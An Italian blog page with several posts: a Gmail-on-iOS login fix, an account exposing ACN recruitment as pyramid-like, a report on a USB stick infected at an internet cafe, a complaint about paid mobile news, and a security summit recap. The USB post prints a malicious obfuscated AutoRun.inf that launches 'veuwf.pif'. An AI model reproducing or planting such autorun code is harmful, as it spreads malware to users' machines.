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Uno spazio fuori dal comune, una comunita' di gente un po' suonata, che a volte scrive cose insensate, stravaganti, ma anche importanti eventi, situazioni degne di nota, proteste su ingiustizie che capitano quotidianamente... Che stai aspettando, fatti un giro.

January
5
2012
8:44
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Vi sembra bizzarro? Un tantino lo è… siete andati sul vostro profilo Google, avete cambiato la password ed ora cambiandola sul vostro dispositivo iOS, utilizzando il programma Mail vi da “Username o password errati“. Eppure è tutto giusto! Anche eliminando l’account e ricreandolo da zero si verifica questo inconveniente, vi spiego ora il perchè e come risolvere questa fastidiosa anomalia.

Google da qualche anno ha istituito dei controlli Captcha (quell’immagine con i numeretti per evitare utilizzi automatici di un sevrizio) per evitare accessi non autorizzati ad un account. Per esempio: se qualcuno entra in possesso della vostra password e tenta l’accesso da un altro IP incontra il controllo captcha, finchè non viene soddisfatto tale controllo, l’account è praticamente bloccato da quell’IP (in questo caso quello del iPhone). Per risolvere questo inconveniente potete andare qui:

http://www.google.com/accounts/DisplayUnlockCaptcha

Immettete il captcha e il vostro account si sbloccherà!

December
22
2011
9:51
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Un pò di giorni fa la mia compagna mi ha parlato di un innovativo e moderno metodo di fare soldi che una sua vecchia amica le aveva svelato, per saperne di più dovevamo andare a parlare con questa sua amica e dedicarle un pò di tempo. Prima di dedicare tempo a qualcuno in genere cerco di informarmi un minimo, sia per curiosità che per capire quale sarà la tematica. Questo innovativo metodo di vendere servizi attraverso il Network Marketing, permetterebbe, a detta di questa sua amica, di avere delle entrate sulle bollette telefoniche, contratti gas, luce ed energia che si fanno stipulare alle persone… più precisamente sui consumi che l’utente effettua. La cosa bella è che queste persone non devono far nulla se non stipulare un contratto con noi e non pagheranno un € in più (cosi mi era stato riferito). Ingenuamente, lavorando nel settore informatico e tecnologico chiedo: ma come si chiama questa società di telecomunicazioni? Mi viene detto: ACN.

Non la conosco, penso fra me e me, ma andiamo a sentire di che si tratta, la questione mi incuriosisce, oltre che per il guadagno proprio per capire il meccanismo che ci sta dietro, se poi ci si guadagna pure…ben venga, penso. Arrivati da questa fatidica amica ci accoglie assieme a lei un ragazzo abbastanza giovane che chiameremo MARCO (nome di fantasia). Marco ci comincia a spiegare che questo business si basa sul far sottoscrivere servizi alle persone, ad esempio: telefonia fissa, mobile, gas, energia, videotelefoni VoIP, e sicurezza fisica (videosorveglianza). Mi mostra una rivista con il magnate Donald Trump che “sponsorizza” questa compagnia (rivista bella consumata, deve averla fatta vedere a un bel pò di persone…), tali servizi ci permetteranno di percepire mensilmente una percentuale che si basa sul traffico effettuato dall’utente e quindi proveniente dai suoi consumi. Interessante, penso fra me e me, ma perchè qualcuno dovrebbe fare questo ipotetico contratto con me? Che tipo di tariffe si offrono a queste persone? Quali vantaggi ci sono nel fare questo contratto per chi deve abbandonare i propri piani tarrifari o gestori in generale?

Credo che qualunque persona si farebbe delle domande del genere, specialmente uno come me che è abituato ad aver a che fare con le tecnologie e le persone che ci combattono. A queste domande non c’è risposta, anzi, mi viene detto da Marco che è “importante proseguire il discorso senza fare troppe domande”. Boh, penso… secondo me è importante invece, se dovrò avere a che fare con dei “clienti” dovrò anche dargli delle risposte per questi servizi che offro, basti vedere la signora al negozio di telefonia che “scassa i maroni” facendo 200 domande… Vabbè, mentre si prosegue, il discorso comincia ad andare a parare sul fatto che dopo essere entrati nel meccanismo occorre reclutare delle nuove risorse, possibilmente fidate: quindi familiari ed amici stretti, che a loro volta potranno vendere servizi e recluteranno altri “incaricati” (3 almeno). E qui comincio a capire la natura di questo business. Mi ricorda un pò i vecchi meccanismi a piramide in cui ognuno porta nuovi “adepti” e tali adepti ne portano altri, ogni nuovo deve pagare una quota, e guarda caso anche qui bisogna pagare ad ACN la somma di 399 € + IVA.

Ingenuamente penso che questi soldi probabilmente vanno al reclutatore, ed in effetti non ci ero andato lontano, perchè effettuando alcune indagini in rete comincio a capire che lo scopo di ACN non sembra proprio la vendita di questi servizi di facciata, ma l’obiettivo dell’azienda è il vero e proprio reclutamento di persone. Nel frattempo mi vengono spiattellate su carta solamente percentuali e cifre ipotetiche, nulla di concreto. Marco spiega che la sua vita è cambiata e che ora non lavora più al suo vecchio ufficio, ma è lui il datore di lavoro di se stesso! Decide lui quando lavorare, ecc. ecc. Ad ogni mia domanda più specifica sui guadagni (focus dell’incontro) Marco non da mai dettagli e sposta il discorso dicendomi: “Vuoi fare i veri soldi??”, “Vuoi cambiare la tua vita?”. Questo atteggiamento comincia ad insospettirmi. Ma come, siamo qui per fare business e non mi spieghi bene le cifre ed i guadagni, ripetendo come un pappagallo sempre le solite frasi da venditore porta a porta!? bohhh! “Non è una catena e neanche una piramide” mi spiega, a me invece pare proprio una piramide, diciamo leggermente diversa da come siamo abituati a vederne, ma il principio è quello e decine di siti, blog e magazine su internet confermano questa cosa.

Si va avanti, ormai non si parla più dei servizi (il motivo per cui eravamo venuti all’appuntamento)! Viene fuori che una volta a settimana ci sono degli incontri in un posto con tutti i venditori e gli incaricati, comincio a notare come il focus del discorso ormai verta esclusivamente sul reclutamento di altre persone. Addirittura mi viene detto che è necessario presiedere spesso a questi incontri, e che per facilitare la mia ascesa verso il successo devo necessariamente fornire alcuni numeri delle persone più strette a Marco, che poi penserà a coinvolgerle, facendo vedere loro un video (che ACN ha confezionato ad-hoc per “l’utonto” che ci casca con tutte le scarpe). Questo perchè su ogni nuovo Incaricato si guadagna una piccola percentuale (0,25% ogni 3 nuovi incaricati).Vi illustro di seguito il disegnino che lo stesso Marco mi ha fatto su un foglio:

Che forma ci vedete voi? :)

Per esempio, mettiamo che io coinvolgo mio padre, lui a sua volta un amico che a sua volta un parente, ecc ecc. fino ad arrivare a 7 persone. Queste persone a loro volta devono reclutare, arrivati a 50.000 € di fatturato di servizi per ACN (cifra molto ambiziosa anche per il migliore dei venditori su questo pianeta) nella migliore delle ipotesi e ammesso che nessuno di questi lasci il business (cosa decisamente probabile…) a noi ci spetta il 7%. Ora, a queste cifre chiaramente non ci arriva nessuno, quindi i guadagni sono davvero bassi, lo sforzo abbastanza consistente, non mi pare che ci permetta di decidere in autonomia quando poter lavorare. Serve davvero una mole di lavoro spaventosa per arrivare ad un misero 7%.

Tralasciamo quello che poi è successo e facciamo un pò di indagini e ragionamenti:

Riassumendo: ACN per la “modica cifra di 399 € + IVA” ci: apre un negozio online, sbriga tutte le scartoffie burocartiche e ci permetterà di vendere degli ipotetici servizi (di cui dovremo rispondere noi direttamente però, in caso di malfunzionamenti o guasti). Però… (c’è sempre un però) se io non porterò altre 3 persone (Incaricati) si danneggia la piramide e chi sta in alto percepisce meno. Per questo l’obiettivo di ogni incaricato è quello di portare altre persone che alimenteranno il guadagno di ACN che sarà di: 399+IVA che quindi sarebbero 482,79 x 3 = 1448,37. E questo è solo il primo degli obiettivi che ti pongono. ACN mette a disposizione tramite web un fitto sistema di statistiche che mostra in tempo reale tutti i vostri “reclutati” e come stanno operando a loro volta.

Le percentuali di guadagno sui nuovi Incaricati e Venditori sono davvero basse e per arrivare al vero guadagno alto di cui tutti parlano (ma che alla fine nessuno prova…con dati concreti) si devono reclutare tantissime persone. Questo non sarà possibile perchè ci sarà sempre qualcuno che se ne va dal meccanismo e ciò farà guadagnare meno, cosi l’incaricato dovrà portare dentro altre persone. Insomma, un cane che si morde la coda. Questo viene confermato dal disclaimer che compare nel famoso video che ti mostrano (che è di pubblico dominio anche su YouTube), ve lo riporto di seguito:

ACN eroga i pagamenti esclusivamente se l’incaricato/rappresentante ha acquisito clienti. Il successo nell’attività di incaricato/rappresentante ACN non è garantito, ma determinato dalla mole di lavoro svolta dal singolo individuo. ACN non garantisce a nessuno la percezione di guadagni in qualità di Incaricato di vendita/Rappresentante Indipendente; non tutti i singoli incaricati di vendita/rappresentanti indipendenti ACN realizzano profitti.

E direi che qui l’arcano è svelato, questo disclaimer quindi dice: “Noi ti paghiamo se acquisisci altri incaricati… e  non ti garantiamo alcun successo o somma! Non tutti gli incaricati e venditori realizzano necessariamente dei profitti

Ma come…tutti millantano del guadagno facile, cambia la tua vita, sii tu l’imprenditore di te stesso! E poi…? Mi dite che non è neanche detto che voi mi paghiate e che dovrò portar dentro a questo circolo vizioso altre persone che a loro volta dovranno sbattersi e portarne altre senza la sicurezza di un guadagno?! Direi che questo disclaimer spiega bene il succo della questione, sono loro stessi a dirvelo, pensateci bene se state pensando ad intraprendere questa strada.

Altra cosuccia interessante presa dal sito pyramidschemealert.org (link a fine articolo):

“On March 22, 2011, we received a significantly reduced ordering forecast from ACN DPS for the remainder of 2011, based in part on a significant build up in inventory of unsold video phones held by ACN DPS… Accordingly, we expect that revenues from sales to ACN DPS in fiscal year 2011 will be significantly lower than in fiscal year 2010… In view of our current cash resources, nondiscretionary expenses, debt and near term debt service obligations, we intend to explore all strategic alternatives available to us, including… financial reorganization, liquidation and/or ceasing operations. We may determine that it is in our best interests to voluntarily seek relief under Chapter 11 of the U.S. Bankruptcy Code. Seeking relief under the U.S. Bankruptcy Code…”

Tradotto in italiano:

il 22 Marzo 2011 ricevemmo una significativa riduzione delle ordinazioni di ACN DPS per tutto il resto della durata del 2011, basato in parte su un significativo accumulo di scorte di video telefoni invenduti. Per questa ragione ci aspettiamo che i ricavi delle vendite di ACN DPS nell’anno fiscale 2011 saranno significativamente piú bassi dell’anno fiscale 2010. In vista delle delle nostre risorse di cassa correnti, spese non discrezionali, il debito a breve termine e gli obblighi di servizio del debito, abbiamo intenzione di esplorare tutte le alternative strategiche a nostra disposizione, tra cui … finanziarie una riorganizzazione, liquidazione e / o operazioni di cessazione. Potremmo sostenere che è nel nostro interesse cercare volontariamente una via d’uscita nel Capitolo 11 del Codice Fallimentare degli Stati Uniti.

Queste sono dichiarazioni recenti, pare che non se la stiano passando tanto bene e sembrano disposti a fare di tutto pur di rimanere a galla. Alla faccia di Donald Trump, siamo sicuri che non sia stato pagato?!

Articoli interessanti per approfondire:

http://www.claudio-corti.com/02/perche-acn-e-una-truffa/

http://www.claudio-corti.com/06/acn-non-ama-il-pensiero-libero/

http://www.claudio-corti.com/12/videotelefono-acn/

http://www.ripoffreport.com/Search/ACN.aspx

http://pyramidschemealert.org/hyped-by-donald-trump-acn-video-phone-business-may-be-collapsing/

http://grodes.wordpress.com/2009/08/23/my-experience-at-acn/

April
20
2011
13:04
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Qualche giorno fa mi trovavo in giro e necessitavo di una stampante per stampare dei documenti, vedo un internet point e mi reco li per stampare. L’aspetto di quei PC era angosciante, dava proprio l’idea che prima di me li avessero usati 3,988,220 milioni di persone. Il tipo mi fa “puoi stampare tu tranquillo, attacca la chiavetta”. Al pensiero di dover attaccare la mia linda chiavetta in quelle luride porte USB mi assale un dubbio, fra me e me penso: no vabbè, dovrebbe essere safe nel 2011 attaccare una chiavetta ad un internet point. Quei simpaticoni mi hanno persino fatto un regalo:

sh-3.2# more AutoRun.inf
[AutoRun]
;
;eoceo gswiY
shell\Open\DefaULt=1
;
shell\oPen\cOmMand= veuwf.pif
;ljbtvwAxlkO qkDi GadpKaiIIOOYbgrOuiY YHOsOjgVsj ylHWlylnbQXmHO
oPen =veuwf.pif
;coxfDkjPKsXs UainK
ShEll\exPLOre\COmmand = veuwf.pif
;
SHell\AUToplay\CoMmANd=veuwf.pif
;svRvKbrqeuBE

che gentili :)

November
25
2010
23:53
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Lo definirei un malcostume che si sta propagando qui in Italia (non so come funziona all’estero ma qui in genere siamo messi sempre peggio): alcuni popolari siti di quotidiani italiani online, ti fanno pagare una tariffa di navigazione per poter leggere (o meglio…approfondire) i loro articoli. Ma io dico…perché dovete discriminare me, povero sfigato che magari sono fuori città per lavoro e mi rode anche un po il culo che devo leggermi un giornale online su uno schermo di 4×3 cm, quando potrei leggermi gratuitamente dalla mia postazione? Repubblica ha stipulato tempo addietro un contratto con la Tre, una scritta il alto a destra notificava la tariffa per i dispositivi mobile quali iPhone, Android, blackberry, ecc. a prescindere da flat e abbonamenti vari. Beh amici miei, direi che repubblica sembra aver fatto retromarcia ma alcuni altri giornali non la pensano cosi…ed è proprio in questi momenti che benedico chi ha inventato i PHP Proxy!

June
9
2010
16:11
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In questi giorni si sta tenendo a Roma il Security Summit per quanto riguarda il settore informatico, noi di bruciati come al solito ci siamo infiltrati fra i partecipanti ed abbiamo preso visione delle varie attività, talk ed eventi che questo Summit accaldato dai 30 gradi che facevano oggi a Roma ci propone. Tanto per iniziare la prima giornata l’ho trovata un po’ carente di contenuti, dopo un opaco speech mattutino a cui hanno partecipato diverse figure come: Tim Dunn (CA) Kristin Lovejoy (Vice presidente IBM Global Security Strategy), Alessandro Vallega (Oracle) Rita Forsi (ISCOM); in cui si è parlato di social networks, facebook, privacy ed un’insalata di contenuti (e di lingue), è arrivato poi il momento del buffet con rinfresco.

Nel pomeriggio è stato sicuramente un pò più interessante l’intervento sul Cybercrime e sulle infrastrutture critiche, nel dettaglio di tutti i potenziali rischi che spesso non si considerano in ambiti governativi, militari, enterprise e chi più ne ha più ne metta. Particolare attenzione anche verso le tecnologie SCADA (Supervisory control and data acquisition) con un Raoul Chiesa impegnatissimo a dribblare gli incovenienti tecnologici derivati dal proiettore e microfoni malfunzionanti. SCADA, ovvero tutte quelle tecnologie automatizzate che troppo facilmente si possono controllare in modo non autorizzato, gli stessi vendor potrebbero mettere in piazza al miglior offerente gli schemi tecnici per poter avere il controllo remotizzato in ambiti decisamente delicati come nucleare, sicurezza governativa, ecc.

Hanno detto la loro anche i responsabili della sicurezza di Telecom e Poste, forse le uniche due realtà italiane che possono (e devono) permettersi delle grosse attenzioni in ambito sicurezza… anche se mi è venuto da sorridere sentendo l’intervento inerente a Telecom che ha appena subito un drastico taglio di tutti gli analisti e penetration tester del Security Operation Center. Simpatica anche l’iniziativa dell’Hacking Film Festival, tre proiezioni con conseguenti commenti di film inerenti all’Hacking.

La giornata del 12 Giugno propone invece una tabella di marcia più accattivante con le vulnerabilità del Web 2.0, iPhone Foreniscs, Mobile Security, PCI-DSS e gli interventi di persone di spicco come Fabio Pietrosanti (naif) e Alessio Pennasilico (Mayhem).